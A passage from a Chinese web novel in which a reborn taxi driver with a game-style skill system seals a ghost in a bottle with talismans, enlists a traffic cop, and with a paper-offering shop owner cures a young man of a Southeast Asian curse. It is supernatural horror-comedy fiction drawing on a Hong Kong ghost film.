她甚至下意识地整理了一下衣服,对着古德露出了一个娇俏又委屈的笑容,声音也变得又软又糯,仿佛刚才那个要杀要剐的厉鬼不是她:
“哎呀~这位大师~我发现你这个人真的很较真?动不动就打打杀杀的,多不好呀~
人家刚才就是开个玩笑,随口那么一说嘛,吓唬吓唬他而已啦~你怎么还当真了呢?”
她眨巴着眼睛,一副楚楚可怜的样子:
“好好好~怕了你了啦~我答应你还不成吗?就按你说的办,让法律来制裁他好了~我可乖了,最听大师你的话了~”
变脸速度之快,让在场的四个活人都愣了一下。
古德:“……”
谢潮:“……”
他默默放下了枪,脑子里满是震惊,在怀疑自己以前怎么没发现,还能这样以德服鬼。
郑立、郑琛:“???”(目瞪口呆.jpg)
这鬼……还挺识时务?
第40章 第一次使用收鬼符
看着那红衣女鬼瞬间从凶神恶煞的索命恶鬼,变成一副娇滴滴、好说话的“乖宝宝”模样,古德心里忍不住吐槽了一句:
“靠,真是鬼也怕恶人……不对,是怕狠人。这欺软怕硬的德性,跟活人简直一模一样。”
他收起铜钱剑和那张斩鬼符,转向谢潮问道:“阿潮,你会不会超度亡魂?送她往生那种?”
谢潮正把玩着他的“灭魂”**,闻言抬起头,一脸“你开什么玩笑”的表情:
“超度?我不会啊。我又不是和尚道士,没学过念经。”
古德有些无语:“那你以前遇到这种缠人但不至于魂飞魄散的鬼,都怎么处理?”
谢潮摸了摸鼻子,有点尴尬地说:“一般……闹得凶的、害过人的,就直接用这个....”
他晃了晃**,“或者别的家伙物理超度了。不**的、就在原地飘着的……我也懒得管,当没看见。”
他忽然像是想起了什么,一拍大腿,“对了!我不会,但我师父肯定会啊!我经常看到有些迷迷糊糊的鬼魂跑去找他,他好像有办法送它们去该去的地方!”
古德眉头一挑。
得,绕来绕去,最后还是得去找那位深藏不露的纸扎陈。
不过眼下这个红衣女鬼……
古德抬眼看向那女鬼。
那女鬼此刻正一脸陶醉地吸食着香炉里最后残余的那点香火烟气,仿佛这是什么琼浆玉液。
看到古德目光扫过来,她立刻站直了,虽然脚不沾地。
女鬼摆出一副“我很听话,随时等候发落”的乖巧模样。
古德摸着下巴琢磨起来。
总不能就这么让她跟着去纸扎铺吧?
万一路上她看情况不对,或者又想起仇怨,跑了甚至暴起伤人怎么办?
得有个东西暂时收容她。
他记得之前翻看系统技能树的时候,在符箓分支里看到过一种叫“收鬼符”的基础符箓,效果就是将灵体暂时封印在特定的容器里,方便携带和处理。
正好适用现在这种情况。
那红衣女鬼见古德看了她一眼后又陷入沉思,似乎没立刻处置她的意思,便又放心地继续吸她的香火,一副“有吃就行,啥都好说”的没心没肺样子。
古德集中精神,唤出脑海中的系统面板。
他先是瞥了一眼公里点数余额:之前剩余的,加上昨天去古董街,今天早上跑车和送谢潮、郑家兄弟过来,现在总共是265.8点。
“265.8点……不算多啊。”
古德心里盘算着,“加点体质或者精神肯定不够。倒是够把两个技能从LV1点到LV2,但剩下的60点也干不了啥。不过收鬼符’这种基础符箓,点到LV1入门应该够用了。”
他很快在符箓分支里找到了【收鬼符LV0】的选项。
“加点!收鬼符,LV0→LV1!”
【消耗10点公里数,收鬼符提升至LV1(入门)】
瞬间,关于如何绘制“收鬼符”的知识涌入了他的脑海:符胆的结构、笔画的顺序、朱砂的浓淡、以及需要配合的简单咒语和手印。
虽然只是入门级,但封印个把刚刚成型、不算太凶的恶鬼,应该问题不大。
技能搞定,接下来需要个容器。
符箓说明里提到,最好是用陶、瓷、玉这类天然材质、内部空间封闭的器皿,效果最好。
实在不行塑料瓶也是可以。
古德左右张望了一下这个废弃仓库。
除了废铜烂铁和破木箱,一眼望去根本没看到什么像样的瓶子罐子。
“阿潮,”他转头对正在研究墙上电闸的谢潮说,“帮个忙,四处找找,看有没有空瓶子,陶的或者瓷的最好,玻璃的也行。”
谢潮虽然好奇古德要瓶子干嘛,但还是应了一声,开始在仓库的角落里翻箱倒柜。
这时,那女鬼似乎吸饱了香火,魂体凝实了不少,她像是突然想起了什么重要的事情,飘到古德面前,开口说道:
“大师,我想起来一件事。昨天我去找他的时候.....”
她指了指惊魂未定的郑琛,“他身边还跟着别的‘东西’。”
古德闻言,注意力立刻被吸引过去:“别的什么东西?”
女鬼歪着头回忆道:“是一个女鬼,还有两个男鬼。样子都挺惨的,怨气也不小。
不过他们看到我冲过去,好像……好像很害怕的样子,一下子就全都跑掉了,躲得远远的。”
还有一个女鬼和两个男鬼?!
古德听到这话,猛地一愣!
随即,一段尘封的电影记忆如同闪电般划过脑海!
那是电影《阴阳路2:我在你左右》的记忆。
他想起来了!
电影里,郑琛看到一个红衣女郎,就是眼前那个女鬼,去巷子但是又没看到人,这时他内急之下,对着一个墙角撒了一泡尿,但是**的是墙角有一个牌位!
从而惹怒了依附在牌位上的鬼魂!
他在巷子里的时候,就是碰到一个看不清面容、充满怨气的女鬼,估计就是牌位的主人!
而后来他那死掉的那两个朋友,也化作了怨灵回来纠缠郑琛!
最终导致郑琛也精神崩溃,撞**眼前的红衣女鬼!
古德瞬间理清了思路,“但为什么那三个鬼要躲着这个红衣女鬼?按道理,他们成型更早,怨念更深,应该更凶才对……”
紧接着,他又想起了电影里另一个细思极恐的角色。
那个最早****的女听众美美的母亲!
那个看起来眼盲行动不便、实则心机深沉的老太婆!
电影暗示很可能就是她用了某种邪术进行报复!
再联想到纸扎陈曾经跟他提过,在正统道法没落后,江湖上还流传着许多不需要法力也能施展的旁门左道!
比如南洋的降头术、湘西的蛊术、以及各种阴损的诅咒邪法!
“难道……郑琛中的不是简单的鬼缠身,而是被人下了咒?”
古德在心中思考着,感觉事情可能比他想的更复杂。
这方面知识他几乎为零,虽然系统里肯定有相关技能,但眼下这260点数实在捉襟见肘,点了“收鬼符”后只剩255.8点,最多再点两个技能到LV2,意义不大。
“看来,必须得
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去找纸扎陈了。他见多识广,说不定能看出点门道。”古德暗自决定。
这时,郑琛也似乎被女鬼的话触发了回忆,脸色变得更加惨白,身体抖得像秋风中的落叶:
“鬼……还有别的鬼?!我想起来了!是柴少和长发!他们……他们**之后,好像回来找过我!
还有……还有一个看不清楚脸的女人……他们总是说要我下去陪他们……为什么?为什么都要找我?!我没得罪他们啊!”
巨大的恐惧淹没了他,他猛地扑过来,一把抱住古德的大腿,哭喊着:“古大师!救命啊!你一定要救救我!多少钱我都给!我不想死啊!”
古德被他抱得一个趔趄,哭笑不得地用力把腿抽出来:
“行了行了!别嚎了!既然我接了你这个活,肯定会管到底。放心吧,等会儿就带你去见个真正的高人,让他看看你到底惹上了什么麻烦。”
听到古德的保证,郑琛这才稍微安心一点,抽抽噎噎地松开了手。
这时,谢潮从一堆杂物后面钻了出来,手里拿着一个落满灰尘的白底蓝花陶瓷瓶,大概二十厘米高,瓶口细长,看起来像个工艺摆件。
“德仔,找遍了,就这个看起来像个瓶子,行不行啊?”
古德接过来,用手抹掉灰尘,看了看材质和形状,点了点头:“应该可以,凑合用吧。”
他让谢潮帮忙拿着朱砂盒,自己取出符笔,蘸饱了朱砂,凝神静气,开始在那个陶瓷瓶的底部绘制刚刚学会的收鬼符。
笔尖流畅地在瓷面上滑动,一个个繁复而神秘的符文逐渐成型。
虽然第一次画,但LV1的技能加持让他手法还算稳健。
很快,一道结构完整、笔迹清晰的收鬼符便绘制完成。
古德放下符笔,右手掐了个“收”字诀,左手托着瓷瓶,将瓶底绘制了灵符的部位对准那个红衣女鬼,口中低声念诵配套的咒语:
“天地无极,乾坤借法;收魂摄魄,封禁此中;敕!”
随着“敕”字出口,他指尖微不可查地闪过一丝法力波动,注入到瓶底的符文中!
那瓷瓶底部的收鬼符猛地亮起一道微弱的红光,瞬间又隐没不见。
那红衣女鬼好奇地看着瓷瓶,非但没有反抗,反而露出一副“好像挺好玩的”表情。
只见她的魂体受到符力牵引,化作一道淡淡的红色烟气,嗖地一下,就被吸入了那个细长的瓷瓶口中!
古德立刻拿起符笔,蘸着朱砂,在瓶口快速画了一个圆圈,算是加了一道简单的临时封印,防止鬼魂自行冲出。
他晃了晃瓷瓶,里面没有任何声音,也感觉不到重量变化,仿佛还是空的一样。
“搞定。”
古德松了口气,将瓷瓶小心地收进挎包侧袋。
他抬头对另外三人说道:“行了,此件事了。走吧,去找纸扎陈陈老板。让他看看这桩麻烦事,到底该怎么彻底了结。”
说完,他率先朝着仓库门口走去。
谢潮收起枪,好奇地看了一眼古德的挎包,也跟了上去。
郑立连忙扶起腿还发软的堂弟郑琛,快步跟上。
第41章 再次遇见周星星
车子开到“福寿斋”纸扎铺附近时,古德发现路边常见的几个免费车位都停满了。
他只好多开了一段,找了个稍微远点的、不影响交通的路边空位把车停下。
车刚熄火,还没等几人下车,就听到一阵“呜哇呜哇”的警用摩托车喇叭声由远及近。
一辆白蓝相间的交通巡逻摩托精准地停在了古德的出租车旁。
车上跳下来一个穿着黄色反光条纹交警制服、戴着头盔的警察,动作利落地走到驾驶座旁,敲了敲车窗玻璃,声音带着公事公办的严肃:
“这里不准停车!麻烦出示一下驾照……”
古德无奈地叹了口气,摇下车窗,露出脸,苦笑道:“周sir,又系你啊?给次机会啦,就停一会儿,上去找个人马上走。”
车窗外的周星星低头一看,又是古德那张帅得让他有点不爽的脸,顿时也乐了,语气缓和了不少:
“咦?这么巧又是你啊靓仔?点解次次见到你都是乱停车噶?你同这条街的停车位有仇啊?”
这时,副驾驶的谢潮探过头,掏出自己的**递了过去,语气平淡却带着点不容置疑:
“伙计,自己人。特殊任务,临时停靠一下,很快就好。”
周星星接过证件仔细一看。
“香江警务处特别事务处理科-谢潮”,下面还有清晰的钢印和编号。
他皱着眉头思索了一下,好像确实听说过有这么一个神神秘秘、专门处理“古怪”案件的部门,级别似乎还挺高。
证件不像假的。
他脸色稍霁,把证件递还回去,态度好了很多:
“哦,谢Sir。早讲嘛,特殊任务当然没问题啦。”
他本来也不是故意刁难,主要是看那些不守规矩的人不顺眼。
对于古德和谢潮这种看起来同样“英明神武”的帅哥同行,他还是很有好感的。
古德下车,习惯性地递了支烟过去。周星星摆摆手拒绝了:
“谢了,最近戒烟,食糖。”
说着还真从口袋里摸出颗水果糖剥开塞进嘴里。
然后,周星星好奇地看向后座下来的郑立和郑琛两兄弟。
这两人脸色苍白,神情惶恐,最古怪的是每人眉毛上都贴着两片蔫了吧唧的柳树叶,看起来又滑稽又诡异。
他凑近谢潮,压低声音问:“谢Sir,这两位……是不是犯了什么事?需不需要我帮忙看着?我拷回警署都行!”
他那颗渴望参与大案、立下功劳、早日调回重案组的心又开始蠢蠢欲动了。
谢潮没有立刻回答,而是看了一眼古德,用眼神询问他的意见。
毕竟人是古德带来的,也是古德在主导。
而且如果真如推测那样涉及邪术害人和之前的交通肇事逃逸,后续抓捕确实需要人手,分点功劳给这个看起来精力过剩的交通警也不是不行。
古德看着周星星那副“快带我玩”的期待表情,心里快速权衡了一下。
自己这重生回来,多次遇到周星星,说明他和周星星之间,有一定的缘分在里面,不然不可能遇到那么多次。
周星星作为前世电影《逃学威龙》几部曲里主角,如果他没猜错,周星星的命格应该也是很奇特。
就是他经常会搞出各种乌龙,例如后世著名的表情包,我没有上车啊.jpg。
不过周星星关键时刻运气和实力都爆棚,这说明他的气运也是非凡的,而且周星星的性格只要是他在乎的人,还是很讲义气的。
就凭他知道达叔没上车,单枪匹马回去救人就可以看出来。
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说不定,周星星也可以发展成一个靠谱的队友和伙伴。
如果他能承受住见到灵异事件的刺激话。
想到这里,古德对着谢潮微微点了点头。
谢潮会意,对周星星说:“周Sir有兴趣一起跟进也行,不过这事有点特别,等会儿看到什么、听到什么都别大惊小怪,一切听指挥。”
周星星一听,立刻喜上眉梢,啪地立正敬了个不标准的礼:“YesSir!保证服从命令!”
但他心里更是好奇了:这谢潮明明才是警察,怎么好像事事都以这个开出租的靓仔为主?这古德到底是什么来头?
一行人走向纸扎铺。
店里,纸扎陈正拿着一个做工精巧、甚至带个小花园和游泳池的纸质别墅模型,向一位穿着讲究、面色悲伤的中年妇人推销:
“陈太,你看这个最新款的‘海边豪苑’,三房两厅,带车库和泳池,烧下去保证先人在下面住得舒舒服服,面子十足……”
他看到古德一行人进来,尤其是看到郑立郑琛眉毛上的柳叶和一脸衰相,眼神微微一动,但生意当前,他只是对古德几人使了个“稍等”的眼色,示意他们先去后面的房间。
古德会意,带着几人轻车熟路地撩开帘子,走进纸扎铺后面的小客厅。
谢潮更是像回了自己家一样,熟门熟路地找出茶叶罐、暖水瓶和几个干净的杯子,给大家泡上了热茶。
“前面有客,师父估计要等一会儿。饮杯茶先,定定神。”
小客厅里气氛有些沉闷。
郑立郑琛兄弟坐立不安,周星星则好奇地东张西望,看着满屋子堆放的纸扎祭品和工具,感觉既新奇又有点发毛。
只有古德和谢潮比较淡定,端着茶杯慢慢吹着热气。
第42章 第一件事情搞定
没过多久,帘子被掀开,纸扎陈走了进来。
他先是对谢潮点了点头,然后看向古德:“古小友,今天这么大阵仗?什么事啊?”
他的目光在郑琛身上多停留了片刻,眉头微不可查地皱了一下。
古德放下茶杯,把事情的前因后果,包括仓库谈判和红衣女鬼声称郑琛身边还有三个鬼魂的事情,简明扼要地说了一遍。
最后问道:“陈老板,这红衣女鬼,您看能不能想想办法,超度一下,送她往生?老是封在瓶子里也不是办法。”
纸扎陈听完,脸上露出为难的神色。
他捋了捋胡子,沉吟道:“古小友,不瞒你说,超度亡魂,尤其是这种怨气未消的横死之鬼,不是那么简单的事。
我平时帮衬的,多是一些无家可归、心愿未了的游魂野鬼,给它们做个牌位,享受点香火,等它们阴寿尽了或者执念消了,自然会有阴差来接引。
但这种主动超度怨灵……需要特定的经文、法器和足够的法力修为,一个不好,反而可能激化怨气,甚至反噬自身。
我……唉,我这点微末道行,怕是力有未逮啊。通常遇到这种,都是……都是直接‘处理’掉,一了百了。”
他说的很委婉,但意思很明显。
物理超度比较省事。
古德一听,明白了纸扎陈的顾虑。
但他觉得这事还有商量余地。
“陈老板,那女鬼其实也不算太凶戾,主要是死得冤,一口怨气堵着。
如果有个地方能让她安稳待着,有香火供奉,化解怨气,等她自己想通了或者阴寿到了,自然就能下去了吧?不一定非要强行超度。”
说着,他拿出那个瓷瓶,用手指抹掉瓶口用来临时封印的朱砂圈。
然后指尖凝聚一丝微弱的法力,轻轻点在瓶底收鬼符的符胆上,低喝一声:“解!”
接着他屈指弹了弹瓶身:“出来吧,谈谈。”
一股淡淡的红色烟气从瓶口飘出,凝聚成那个红衣女鬼的身影。
她飘在半空,好奇地打量着周围环境,当看到纸扎陈时,似乎感受到对方也不太好惹,下意识地缩了缩脖子。
郑立和郑琛虽然有心理准备,但再次看到这女鬼,还是吓得汗**倒竖,紧紧靠在一起。
而第一次见到这场面的周星星,则彻底懵了!
从纸扎陈进来后,他们的对话每个字他都听得懂,但连在一起就完全不明白在说什么了!
什么怨气、超度、阴寿……这都什么跟什么啊?
他终于忍不住,咳嗽了一声,举手发问:
“呃……唔好意思,打断一下。各位阿Sir,大佬,你们在说什么啊?为什么我一句都听不懂啊?是不是什么新的警队暗号啊?”
谢潮无奈地看了一眼古德,眼神示意:“你找来的人,你自己搞定。”
古德这才想起来还没给周星星开眼。
他拍了拍额头,对周星星说:“周sir,忘了给你做‘准备’了。等下看到什么都别慌,保持镇定,完事再跟你解释。”
说完,他又掏出两片柳叶,依法炮制,口中念咒,指尖运功,给周星星的眉毛上也贴了两片。
周星星只觉得眼前一花,视线似乎模糊了一下,随即恢复正常。
然后他就看到了那个飘在半空、穿着红衣服、脸色苍白的女人!
“**!!!!”
周星星吓得怪叫一声,直接从椅子上滑到了地上,手脚并用地往后蹭,指着那女鬼,话都说不利索了:
“她她她她……她怎么浮起来的?!吊威亚啊?!拍戏啊?!”
古德赶紧示意他噤声:“嘘!周sir,冷静!这就是我们说的那个‘事主’!现在要谈正事!”
周星星好歹是见过大场面的前飞虎队精英,强行压下心中的惊骇,哆哆嗦嗦地爬回椅子上坐好,但眼睛还是死死盯着那女鬼,一副世界观受到剧烈冲击的样子。
古德不再管他,转向那红衣女鬼,语气严肃地说:
“你也听到了,这位是纸扎陈老板,真正的高人。现在给你两个选择:一,乖乖进瓶子里待着,陈老板这里会给你设个牌位,享受香火供奉,等你怨气消了、阴寿尽了,自然有机会轮回。
但前提是绝对不能作妖!二,
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如果你还想闹,那就别怪我们不客气,直接让你魂飞魄散,连做鬼的机会都没有!你怎么选?”
那红衣女鬼脸上露出极度不甘心的神色,眼神怨毒地瞪了郑琛一眼。
但她看了看面无表情的纸扎陈,又看了看虎视眈眈的谢潮和古德,最终求生欲战胜了复仇的冲动。
她艰难地点了点头,声音细若蚊蝇:“我……我选第一个……我愿意待着……”
古德松了口气,对纸扎陈说:“陈老板,她同意了。”
纸扎陈捋着胡子,沉吟片刻,点了点头:“嗯,既然愿意安分,留在我这里也无不可。不过……”
他话锋一转,搓了搓手指,露出一个生意人的精明笑容,“古小友,香火纸钱、牌位供奉,这些都是要成本的喔……老夫小本经营,总不能一直做赔本买卖吧?”
古德立刻会意,转头对郑琛说:“郑琛,人是你撞的,祸是你闯的。这笔超度安抚的费用,自然该你出。具体多少,怎么付,你跟陈老板商量。”
郑琛脸色一苦,但也不敢反对,只能讷讷地点头。
事情谈妥,古德再次激发瓷瓶底部的收鬼符,将那红衣女鬼收了回去。
然后他从纸扎陈的柜台上顺手抽了一张空白的黄符纸。
纸扎陈看得直翻白眼:“喂!古小友!你又顺我东西!一张符纸五毛钱啊!”
古德假装没听见,拿出朱砂笔,屏息凝神,快速在符纸上绘制了一道新学的“镇鬼符”。
虽然只是LV1入门级,但用来加固封印、防止鬼魂自行冲出瓶子也够用了。
从仓库到纸扎铺这一路,他又赚了30点公里数,拿出十点加个镇鬼符,算起来还有的赚。
画好后,他将符纸牢牢贴在瓶口。
“搞定。”古德将封印好的瓷瓶递给纸扎陈。
纸扎陈接过瓶子,掂量了一下,摇摇头:
“唉,又接了个麻烦活。你们啊,尽给我找事……”
话虽这么说,他还是小心地将瓶子放到了里间一个专门供奉牌位的架子上。
这超度的事情搞定了,接下来是郑琛另一个事情。
第43章 不知道什么时候就会被下降头
等纸扎陈安顿好那个瓷瓶,处理完前面铺子的客人,重新回到后间时,古德继续刚才的话题问道:
“陈老板,您见多识广,我想请教一下。您知不知道有没有那种……专门让人运气变衰、霉运连连,甚至不断撞鬼,最终惨死的旁门左道之术?”
纸扎陈闻言,摸着下巴,眉头皱得更紧了,似乎在回忆什么。
他沉吟片刻,缓缓说道:“你说的这类邪术,那可太多了。光是流传在东南亚和咱们岭南、湘西一带,我知道的就不下十几种。
什么‘五鬼运财’的反噬、‘绝户咒’、‘七煞锁魂’、‘拍花子’的厌胜术……名目繁多,效果也大同小异,都是损阴德、害人性命的玩意儿。”
古德听得一愣:“这么多?感情这还是大路货?”
纸扎陈摇摇头:“大路货倒谈不上,每门每派手法、媒介、代价都不同,但原理相通,都是引动阴煞邪气侵蚀人的气运和身体。不过……”
他话锋一转,目光再次投向脸色苍白的郑琛。
“结合你刚才说的情况,郑琛和他那两个朋友行为反常,精神恍惚,见鬼频率异常的高,最终惨死……这听起来,倒更像中了南洋那边流传过来的‘降头术’!”
“降头术?”古德和谢潮都竖起了耳朵。
郑立更是紧张地抓住了堂弟的胳膊。
“没错。”
纸扎陈点点头,语气凝重了几分。
“降头术种类繁杂,但很多都会直接影响人的心智和精神,让人产生幻觉、行为失控,甚至主动招惹邪祟。中降者往往自己都不知道自己被控制了,就像提线木偶一样。而且……”
他顿了顿,仔细打量着郑琛:“很多降头,尤其是那些用尸油、蛊虫、阴料炼制的‘鬼降’或‘药降’,会在中降者身上留下痕迹。
最常见的就是眼白布满血丝,不是休息不好的那种红血丝,而是密密麻麻、如同蛛网般从瞳孔深处蔓延出来的暗红色细线,经久不散。”
听到这话,郑立立刻凑到郑琛面前,捧着他的脸,紧张地扒开他的眼皮仔细查看。
“琛仔!抬头!让我看看!”郑立的声音带着颤抖。
郑琛顺从地抬起头,睁开疲惫的双眼。
这一看,郑立倒吸一口凉气!
只见郑琛的眼白部分,果然布满了密密麻麻、纵横交错的暗红色血丝!
这些血丝仿佛有生命一般,深深地嵌入眼白的底层,看上去异常诡异和恶心!
根本不像普通的疲劳充血!
“真的……真的有!好多红血丝!好可怕!”郑立失声叫道,吓得松开了手。
古德也凑过去看了一眼,眉头紧锁。
这景象确实骇人,绝非正常。
纸扎陈叹了口气,肯定地点了点头:“没错了,这的确是中了降头的典型特征之一,而且是偏阴邪的鬼降或者混合了蛊术的药降。
怪不得他精神恍惚,总是见鬼,行为失控……都是降头在作祟。下降头的人,手段很毒辣啊。”
纸扎陈接着解释道:“降头这玩意儿,源头很杂,有说是暹罗那边‘古巴’的‘卡啦’,也有说是缅甸‘卜巴’的邪术,还有说是结合了咱们苗疆蛊术和南洋土著巫术形成的旁门。
但不管哪一派,核心都是通过受害者的毛发、指甲、血液、衣物甚至生辰八字作为‘药引’,混合各种阴毒材料。
比如尸油、坟土、棺材钉、甚至流产的胎儿炼制而成。下降的方式也防不胜防,混在食物饮料里、藏在物品里、甚至远远地通过法术就能隔空施降。”
“中了降头的人,轻则倒霉破财、家庭不宁,重则就像他这样,产生幻觉、招惹邪祟,甚至
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发疯自残、暴毙而亡!
而且很多降头会像传染病一样,让靠近中降者的人也跟着倒霉!不过衰成像他这样的,除了被下了降头,可能还被下了咒。”
纸扎陈说完,整个后间顿时陷入一片死寂。
所有人都被这阴毒诡异的邪术描述给镇住了,一股寒意从脊背升起。
周星星更是张大了嘴巴,眼睛瞪得像铜铃,整个人仿佛被雷劈中了一样,彻底石化在原地。
今天听到看到的一切,已经完全颠覆了他二十多年建立起来的世界观!
什么交警查车、抓贼破案,跟这些比起来简直弱爆了!
他现在脑子乱成一锅粥,CPU都快烧了!
古德下意识地摩挲着手中那柄铜钱剑的剑身,冰凉粗糙的触感让他保持冷静。
他飞速思考着。
下降头……同时可能还被下了咒?
双管齐下?这得多大仇?
突然,他脑海中灵光一闪!
古德想起自己系统里点出来的两个技能【化煞符】和【玄门先天咒炼】里的净天地神咒符箓!
【化煞符】的功效是化解、清除附着在人或物体上的煞气、晦气、诅咒残留等负面能量。
【净天地神咒】对应的符箓则更霸道一些,能净化一小片区域内的污秽之气,驱散不祥,甚至对低等的邪祟有直接的杀伤力。
“煞气、晦气、污秽、不祥……降头带来的负面效果,本质上是不是也是一种极其阴毒污秽的‘煞气’和‘诅咒’?
这两种符,虽然主要是针对环境和气场,但理论上,作用于人体,清除体内的‘污秽’和‘煞气’,应该也……说得通吧?”
古德心里盘算着。
“反正死马当活马医!总比干看着强!清理身体的东西,就算没效果,应该也不至于出太大问题……吧?”
第44章 误打误撞,还真撞着了
想到这里,他凑到纸扎陈耳边,压低声音,把自己的想法和打算简单说了一下。
纸扎陈听完,浑浊的眼睛里闪过一丝惊讶,他捋着胡子思索了片刻,缓缓点了点头:
“嗯……理论上似乎可行。化煞净秽,万变不离其宗。你这思路倒是清奇,可以试一试。总比什么都不做强。”
得到纸扎陈的认可,古德心里有了底。
纸扎陈转身从柜子里拿出一个干净的青花瓷碗,往里倒了半碗温水,放在桌上。
古德深吸一口气,走到桌边。
他从挎包里取出两张空白的黄符纸,还有朱砂和符笔。
气氛瞬间变得肃穆起来。
所有人都屏住了呼吸,连世界观崩塌中的周星星都下意识地睁大了眼睛看着。
古德凝神静气,提起符笔,蘸饱朱砂,笔走龙蛇,迅速在两张符纸上分别绘制出结构复杂而玄奥的符文。
正是【化煞符】和【净天地符】!
符成笔收,两张符箓上的朱砂符文在灯光下仿佛有流光闪烁,散发出一种难以言喻的灵韵。
古德先拿起那张【化煞符】。
他左手掐了个“巽”字诀,代表风,寓意吹散煞气。
右手双指夹住符纸,举至胸前,口中低声念诵配套的咒语:
“天地自然,秽气分散;灵符化煞,破晦除难;洞中玄虚,晃朗太元;急急如律令!敕!”
咒语念毕,他指尖微不可查地渡入一丝法力!
噗!
那张【化煞符】无火自燃,瞬间化作一团明亮的橙色火焰,但火焰并不灼热,反而散发出一种温和净化的气息。
符纸迅速燃烧,灰烬却并不散落,而是神奇地全部落入了那碗温水之中,将清水染成了一种淡淡的、如同琥珀般的浅黄色,水中还有点点的金光闪烁,仿佛蕴含着奇特的净化力量。
“郑琛,过来,把这碗水喝了。”
古德将碗递给郑琛,语气不容置疑。
郑琛看着那碗颜色奇怪的水,咽了口唾沫,但看到古德严肃的表情,还是一咬牙,接过来“咕咚咕咚”一口气喝了下去。
水喝下去没多久,郑琛突然脸色一变,猛地捂住了肚子,额头上渗出冷汗,似乎有些不舒服。
古德没有停顿,立刻拿起第二张【净天地符】。
他步踏斗罡,右手持符高举过头,左手掐“光明诀”,口中朗声念诵更加宏大庄严的咒语:
“天地自然,秽气分散。洞中玄虚,晃朗太元。八方威神,使我自然。灵宝符命,普告九天……凶秽消散,道炁常存!净天地咒,破邪显正!敕!”
随着咒语声,他体内法力涌动,全力注入符箓之中!
嗡!
整张【净天地符】猛然爆发出耀眼的金色光芒!
将整个房间都照亮了一瞬!
古德手持发光符箓,动作迅捷而精准,围绕着郑琛的身体上下挥动!
符箓所过之处,带起道道金色的光痕,仿佛在洗涤虚空,空气中发出“滋滋”的轻微响声,隐约有黑烟被逼出消散!
最后,古德大喝一声,将散发着炽盛金光和净化力量的符纸,猛地拍在了郑琛的胸口膻中穴上!
“呃啊啊啊——!!!”
就在符纸拍中的瞬间,郑琛发出一声痛苦至极的惨叫!
他的脸上、脖子上,甚至手臂上,突然浮现出无数密密麻麻、如同蛛网般的暗红色线条!
这些线条在他皮肤下扭曲蠕动,看上去恐怖无比!
紧接着,大股大股浓郁的黑气如同实质般从他全身毛
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孔中疯狂涌出!
整个房间的温度骤然下降,弥漫开一股难以形容的腥臭和**气味!
“哇——!!!”
郑琛猛地弯下腰,剧烈地呕吐起来!
他吐出来的根本不是食物残渣,而是一滩滩粘稠、漆黑、如同沥青般的液体!
更可怕的是,在这些黑水中,竟然有无数细如发丝、肉眼几乎难以看清的红色小虫子在疯狂地扭动、挣扎!数量之多,令人头皮发麻!
郑琛吐了半天,直到吐出的只剩下清水,才虚脱般地身体一软,向后倒去。
古德眼疾手快,一把扶住了他,将他瘫软的身体推向旁边的谢潮:“阿潮,扶住他!”
谢潮连忙接住昏迷过去的郑琛。
而早有准备的纸扎陈,此刻大喝一声:“都闪开!”
只见他端着一个大盆,里面装满了白色的生石灰,一个箭步冲上前,将大量的石灰均匀地泼洒在那几滩恐怖的黑水和虫子上!
嗤——啦啦啦!!!
石灰遇到黑水,立刻发生了剧烈的化学反应,冒出大量的白烟和气泡!
那些红色的细小虫子在白烟中疯狂扭动了几下,便迅速僵硬、变黑,最终化为了灰烬!
那股腥臭**的气味也被石灰的碱性气味迅速中和、压了下去。
做完这一切,纸扎陈才松了口气,擦了擦额头并不存在的汗。
古德也长长地舒了一口气,看着地上那一片狼藉和昏迷但脸色似乎恢复了一些血色的郑琛,心里暗道:
“侥幸!看来我这误打误撞的‘符箓驱邪清体疗法’,还真蒙对了!这降头和被下的咒……算是暂时解了吧?”
房间内一片寂静,只剩下石灰遇水反应的微弱嗤嗤声,以及众人粗重的呼吸声。
第45章 引导出幕后之人
房间内,石灰遇水蒸腾起的白烟渐渐散去,那股令人作呕的腥臭味也被刺鼻的石灰碱味取代。
郑琛在谢潮的搀扶下,缓缓睁开了眼睛,虽然依旧虚弱,但眼神中的浑浊和惊惧似乎褪去了不少,多了一丝清明。
事情已经很明朗了。
古德心里几乎可以肯定,这一切的幕后黑手,十有**就是那个在电影里那个假装眼盲、心机深沉的美美母亲!
她用邪术为女儿复仇,手段可谓狠毒至极。
但他不能直接说出来。
毕竟郑琛从头到尾都没提过这个人,他一个外人知道得太详细反而惹人怀疑。
他需要引导郑琛自己把线索串联起来。
于是,古德走到郑琛面前,语气平和但带着严肃表情问道:
“郑琛,你现在感觉怎么样?好好回想一下,把你最近遇到的所有怪事,从头到尾,详详细细地说一遍。
不要漏掉任何细节,尤其是你觉得不起眼的小事。只有这样,我才能搞清楚你到底是怎么被人下的降头和咒术,源头到底在哪里。”
郑琛靠在椅子上,揉着依旧发闷的胸口,皱着眉头,努力地回忆起来。
他的声音还有些沙哑,断断续续地说道:
“我…我和我两个好朋友,长发和柴少,一起应聘进了一家新开的午夜电台,叫‘鬼话连篇’,就是…就是专门讲鬼故事吓唬人的那种。”
“大概…大概一个多星期前吧,有个女听众打电话进来,声音哭哭啼啼的,说她男朋友刚去世,她很痛苦,不想活了…
当时长发那家伙,为了节目效果,嘴巴没把门,就…就口无遮拦地对着话筒说‘那你下去陪他好了’…说完还自己哈哈笑了几声…”
郑琛的脸上露出后悔和恐惧的表情:“结果…结果没过两天,就传出新闻,那个打电话来的女听众…真的****了!就从她家天台跳下来的!”
“从那以后,怪事就一件接一件地来了…”
郑琛的声音开始发抖,“先是长发!他变得神经兮兮的,老是说看到那个**的女人跟着他…他还莫名其妙地跑去那个女人的葬礼,之后捧着一个日记又哭又笑,像个疯子一样…
结果…结果葬礼结束后没两天,他自己也…也从他家里的天台上跳了下去!”
“接着是柴少!”
郑琛的呼吸急促起来,“长发死后,柴少怕得要死,说要出海散散心,避避风头…结果…
结果他坐的那艘小游艇在风平浪静的海面上…莫名其妙地消失了!”
“最后…最后就轮到我了…”
郑琛绝望地抱住头,“我开始不停地做噩梦,还看见长发和柴少来找我,说要我下去陪他们…
白天也老是出现幻觉,看到那个**的女人在我眼前晃…开车心神不宁,然后就…就撞到了那位红衣小姐…我知道…我很快也会像他们一样死掉的…”
古德安静地听完,适时地打断了他充满恐惧的叙述,帮他提炼核心:
“所以,一切的源头,就是因为你朋友在电台里的一句戏言,间接导致了一个女听众****。
然后,**女听众的怨气,或者因为她**而引发的某种报复,就缠上了你们三个,最终导致你的两个朋友惨死,你现在也危在旦夕。是这样吗?”
